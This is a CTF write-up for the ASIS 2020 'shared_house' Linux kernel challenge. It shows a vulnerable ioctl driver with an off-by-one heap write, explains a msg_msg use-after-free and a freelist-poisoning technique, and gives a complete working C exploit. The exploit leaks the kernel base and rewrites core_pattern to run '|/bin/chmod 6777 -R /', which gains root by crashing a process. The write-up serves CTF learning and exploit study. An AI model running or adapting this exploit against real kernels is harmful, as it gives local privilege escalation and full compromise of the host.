AsisCTF2020Qual shared_house
Table of Contents
Problem⌗
Enviroment⌗
- linux version:
4.19.98- No SMAP
- No KPTI
Features⌗
This challenge provide simple device (it has only one function: mod_ioctl). And the function is like following:
struct request_t
{
unsigned int size;
char __padding0[4];
void *data;
};
uint64_6 mod_ioctl(struct file *a1, unsigned int cmd, unsigned __int64 arg) {
struct request_t req;
if (copy_from_user(&req, arg, 0x10LL)) return -14LL;
if (req.size > 0x80) return -22LL;
mutex_lock(&_mutex);
if (cmd == 0xC12ED002) { // cmd == 0xC12ED002: delete_note
if (!note) {
goto ERROR;
}
kfree(note);
note = 0LL;
} else if (cmd == 0xC12ED001) { // cmd == 0xC12ED001: alloc_new_note
if (note) kfree(note);
size = req.size;
note = (char *)_kmalloc(req.size, 0x6080C0LL);
if (!note) goto ERROR;
} else if (cmd == 0xC12ED003) { // cmd == 0xC12ED003: write_note
if (!note || req.size > size || copy_from_user(note, req.data, req.size))
goto ERROR;
note[req.size] = 0; // off-by-one if req.size==size
} else if (cmd != 0xC12ED004 || !note || req.size > size ||
copy_to_user(req.data, note,
req.size)) { // cmd == 0xC12ED004: read_note
goto ERROR;
}
mutex_unlock(&_mutex);
return 0LL;
ERROR:
mutex_unlock(&_mutex);
return -22;
}
Vulnerability⌗
The vulnerability is obvious. The off-by-one in write_note.
Exploit⌗
Since the off-by-one occurs in heap chunk, I decide to use struct msg_msg and free list.
Unlike The free list is in middle and stored protected in latest kernel, it is in front and stored raw in the provided kernel.
Trigger off-by-one⌗
Triggering off-by-one is simple:
vuln_dev_alloc_new_note(0x20);
vuln_dev_write_note(buf, 0x20); // Trigger off-by-one
Get controlled(UAF) msg_msg chunk⌗
In struct msg_msg, the m_list.next and m_list.prev exist.
And they are connected with other messages by using double linked list.
Because we can overwrite 1 byte after our note, we can overwrite LSB of m_list.next if the message is located after our note.
My plain is “making dangling pointer in m_list to free-ed message and make the free-ed chunk become our note.
For example, initial messages (consider all messages locate consequently):
graph LR A[msg 1] -->|next| B A -->|prev| E B[msg 2] -->|next| C B -->|prev| A C[msg 3] -->|next| D C -->|prev| B D[msg 4] -->|next| E D -->|prev| C E[msg 5] -->|next| F E -->|prev| D F[msg 6] -->|next| A F -->|prev| E
And free middle message (msg 2) via do_msgrcv and allocate it as our note:
graph LR A[msg 1] -->|next| C A -->|prev| E B[msg 2 = our note] C[msg 3] -->|next| D C -->|prev| A D[msg 4] -->|next| E D -->|prev| C E[msg 5] -->|next| F E -->|prev| D F[msg 6] -->|next| A F -->|prev| E
Make invalid m_list.next via triggering off-by-one:
graph LR A[msg 1] -->|next| C A -->|prev| E B[msg 2 = our note] C[msg 3; next is corrupted] -->|next| E C -->|prev| A D[msg 4] -->|next| E D -->|prev| C E[msg 5] -->|next| F E -->|prev| D F[msg 6] -->|next| A F -->|prev| E
With this connections, the unlink of msg 5 and free_msg to it make dangling pointer to msg 5 in msg 3.
After freeing msg 5, the allocated note will be have same address with msg 5.
Then we can make limited_aar using next in struct msg_msg.
The disadventage of limited_aar is 1. the first 8 bytes must be zeros (because of store_msg) 2. the read address will be freed (because of free_msg).
But we can leak the address of msg 5(UAF chunk) and kernel base only with limited_arr.
Overwrite free list and allocate arbitrary address via kmalloc⌗
Okay, now we can allocate arbitrary address by modifying free list in free-ed chunk.
Currently the note (this is same as msg 5) is freed and thus it has pointer to next free-ed chunk.
So overwriting it with core_pattern address, allocating serveral chunks and ETC give us the core_pattern as note.
Code⌗
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define KERNEL_BASE_MASK (~0x00000000000fffff)
#define IS_IN_KERNEL_RANGE(addr) \
((addr) >= KERNEL_BASE_START && (addr) <= KERNEL_BASE_END)
#define MOD_PROBE_OFFSET (0xffffffff81c2c540 - KERNEL_BASE_START)
#define CORE_PATTERN_OFFSET (0xffffffff81c36c80 - KERNEL_BASE_START)
static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);
void get_enter_to_continue(const char* msg) {
puts(msg);
getchar();
}
void fatal(const char* msg) {
perror(msg);
// get_enter_to_continue("Press enter to exit...");
exit(-1);
}
struct msg_msgseg {
struct msg_msgseg* next;
char data[0];
};
struct msg_msg {
struct msg_msg *next, *prev;
long m_type;
size_t m_ts;
struct msg_msgseg* next_data;
void* security;
char data[0];
};
struct msgbuf {
long mtype; /* message type, must be > 0 */
char mtext[1]; /* message data */
};
int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag);
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag);
int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
struct msgbuf* m = malloc(sizeof(long) + size);
int ret = -1;
memcpy(m->mtext, data, size);
m->mtype = mtype;
ret = msgsnd(msgqid, m, size, mflag);
free(m);
return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
struct msgbuf* m = malloc(sizeof(long) + size);
int ret = -1;
m->mtype = mtype;
ret = msgrcv(msgqid, m, size, mtype, mflag);
memcpy(data, m->mtext, size);
free(m);
return ret;
}
#define VULN_DEV_NAME "/dev/note"
#define VULN_DEV_CONST_MAX_SIZE 0x80
#define VULN_DEV_CMD_ALLOC_NEW_NOTE 0xC12ED001
#define VULN_DEV_CMD_DELTE_NOTE 0xC12ED002
#define VULN_DEV_CMD_WRITE_NOTE 0xC12ED003
#define VULN_DEV_CMD_READ_NOTE 0xC12ED004
typedef struct request_t {
unsigned int size;
char __padding[4];
uint64_t data;
} request_t;
static int vuln_dev_alloc_new_note(unsigned int size);
static int vuln_dev_delete_note();
static int vuln_dev_write_note(const void* data, unsigned int size);
static int vuln_dev_read_note(void* data, unsigned int size);
int vuln_fd = 0;
static int vuln_dev_alloc_new_note(unsigned int size) {
request_t req = {.size = size};
return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &req);
}
static int vuln_dev_delete_note() {
request_t req = {.size = 0};
return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &req);
}
static int vuln_dev_write_note(const void* data, unsigned int size) {
request_t req = {.data = (uint64_t)data, .size = size};
return ioctl(vuln_fd, VULN_DEV_CMD_WRITE_NOTE, &req);
}
static int vuln_dev_read_note(void* data, unsigned int size) {
request_t req = {.data = (uint64_t)data, .size = size};
return ioctl(vuln_fd, VULN_DEV_CMD_READ_NOTE, &req);
}
int target_obj_size = 0;
int msgqid = 0;
void* fake_msgmsg = NULL;
int uaf_msgmsg_mtype = 0;
static int make_uaf_msgmsg(char* temp_buf) {
char* buf = temp_buf;
buf[target_obj_size - 1] = 0;
for (int i = 0; i < 0x10; ++i) {
memset(buf, i, target_obj_size - 0x30);
send_msg(msgqid, buf, target_obj_size - 0x30, 0x10 - i, 0);
}
recv_msg(msgqid, buf, target_obj_size - 0x30, 0, 0);
vuln_dev_alloc_new_note(target_obj_size);
memset(buf, 0, target_obj_size);
vuln_dev_write_note(buf, target_obj_size); // Trigger off-by-one
vuln_dev_delete_note();
for (int i = 0; i < 0x10; ++i) {
memset(buf, 0, target_obj_size);
vuln_dev_delete_note();
int t = recv_msg(msgqid, buf, target_obj_size, -(i + 1), 0);
if (*buf == 'A') {
return -(i + 1);
} else if (i == 0x10 - 1) {
fatal("[-] Failed to find UAF msg_msg");
}
vuln_dev_alloc_new_note(target_obj_size);
memset(buf, 0, target_obj_size);
struct msg_msg* fake_msg = (struct msg_msg*)buf;
fake_msg->next = (struct msg_msg*)fake_msg;
fake_msg->prev = (struct msg_msg*)fake_msg;
fake_msg->m_type = 1;
fake_msg->m_ts = target_obj_size;
memset(fake_msg->data, 'A', 1);
vuln_dev_write_note(buf, target_obj_size);
}
return 1;
}
/// @brief Limited AAR primitive. The 8 bytes before target address must be
/// zeros.
/// @param out_data: output buffer
/// @param addr: target address
/// @param size: size of output buffer. size must be less than or equal to
/// (0x1000-0x10)
/// @return positive on success, -1 on failure
static int limited_aar(char* out_data, uint64_t addr, uint64_t size) {
int ret;
char* buf[target_obj_size];
memset(buf, 0, sizeof(buf));
struct msg_msg* uaf_msg = (struct msg_msg*)buf;
uaf_msg->next = (struct msg_msg*)fake_msgmsg;
uaf_msg->prev = (struct msg_msg*)fake_msgmsg;
uaf_msg->m_type = 1;
uaf_msg->m_ts = 0x1000 - offsetof(struct msg_msg, data) + size;
uaf_msg->next_data = (struct msg_msgseg*)(addr - 8);
vuln_dev_write_note(buf, target_obj_size);
char temp_buf[0x2000];
ret = recv_msg(msgqid, temp_buf, 0x2000, uaf_msgmsg_mtype, 0);
memcpy(out_data, temp_buf + 0x1000 - offsetof(struct msg_msg, data),
size - 8);
}
static int leak_uaf_chunk_addr_and_kernel_addr(uint64_t pre_uaf_msg_addr,
char* temp_buf,
uint64_t* out_uaf_chunk_addr,
uint64_t* out_kernel_base) {
char* buf[target_obj_size];
memset(buf, 0, sizeof(buf));
*out_uaf_chunk_addr = 0;
*out_kernel_base = 0;
limited_aar(temp_buf, pre_uaf_msg_addr,
0x1000 - offsetof(struct msg_msgseg, data));
vuln_dev_read_note(buf, target_obj_size);
*out_uaf_chunk_addr = *(uint64_t*)buf;
uint64_t* uint64_buf = (uint64_t*)temp_buf;
for (int i = 0; i < (0x2000 - offsetof(struct msg_msg, data) -
offsetof(struct msg_msgseg, data)) /
8;
++i) {
if (IS_IN_KERNEL_RANGE(uint64_buf[i])) {
uint64_t min_addr = uint64_buf[i] & KERNEL_BASE_MASK;
if (*out_kernel_base == 0 || min_addr < *out_kernel_base) {
*out_kernel_base = min_addr;
}
}
}
if (*out_kernel_base == 0 || *out_uaf_chunk_addr == 0) {
return -1;
}
return 0;
}
int main() {
vuln_fd = open(VULN_DEV_NAME, O_RDONLY);
if (vuln_fd < 0) {
fatal("open(" VULN_DEV_NAME ")");
}
target_obj_size = 0x80;
char buf[target_obj_size];
uint64_t* uint64_buf = (uint64_t*)buf;
memset(buf, 0, sizeof(buf));
msgqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
if (msgqid < 0) {
fatal("msgget");
}
fake_msgmsg = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (fake_msgmsg == MAP_FAILED) {
fatal("mmap");
}
printf("[*] fake_msgmsg: %p\n", fake_msgmsg);
uaf_msgmsg_mtype = make_uaf_msgmsg(buf);
if (uaf_msgmsg_mtype > 0) {
printf("[-] Failed to find UAF msg_msg\n");
return -1;
}
uint64_t prev_uaf_msg = uint64_buf[88 / 8];
printf("[+] Found UAF msg_msg with mtype: %d\n", uaf_msgmsg_mtype);
printf(" [*] Now note is same as UAF msg_msg\n");
printf(" [*] The prev of UAF msg_msg is 0x%016lx\n", prev_uaf_msg);
vuln_dev_alloc_new_note(target_obj_size);
printf("[*] Leaking UAF chunk addr and kernel base...\n");
char* temp_buf = malloc(0x2000);
uint64_t uaf_chunk_addr, kernel_addr;
if (leak_uaf_chunk_addr_and_kernel_addr(prev_uaf_msg, temp_buf,
&uaf_chunk_addr, &kernel_addr) < 0) {
printf(" [-] Failed to leak uaf chunk addr and kernel base\n");
return -1;
}
printf(" [+] Found UAF chunk address: 0x%016lx\n", uaf_chunk_addr);
printf(" [+] Found kernel address: 0x%016lx\n", kernel_addr);
printf("[*] Overwrite free list to overwrite modprobe_path\n");
int msgqid2 = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
if (msgqid2 < 0) {
fatal("msgget");
}
uint64_t next_free_chunk = kernel_addr + CORE_PATTERN_OFFSET - 8;
printf(" [*] Overwriting free list at 0x%016lx to 0x%016lx\n",
uaf_chunk_addr, next_free_chunk);
vuln_dev_write_note(&next_free_chunk, 8);
printf(" [*] Consume chunks in free list");
send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x10, 0);
send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x11, 0);
vuln_dev_delete_note();
send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x12, 0);
printf(" [*] Now allocate note with addr=0x%016lx\n", next_free_chunk);
vuln_dev_alloc_new_note(0x80);
char new_core_pattern[] = "|/bin/chmod 6777 -R /";
memset(temp_buf, 0, 0x2000);
strcpy(temp_buf + 8, new_core_pattern);
printf("[*] Overwrite core_pattern to \"%s\"\n", new_core_pattern);
vuln_dev_write_note(temp_buf, 8 + sizeof(new_core_pattern));
{
int fd = open("/proc/sys/kernel/core_pattern", O_RDONLY);
char core[0x100];
read(fd, core, sizeof(core));
if (memcmp(core, new_core_pattern, sizeof(new_core_pattern) - 1) != 0) {
printf(" [-] Failed to overwrite core_pattern (core_pattern=\"%s\")\n",
core);
return -1;
}
}
printf(" [+] Successfully overwrite core_pattern\n");
printf("[*] Trigger core_pattern\n");
uint64_t* evil = (uint64_t*)0xdeadbeef;
*evil = 0;
close(vuln_fd);
return 0;
}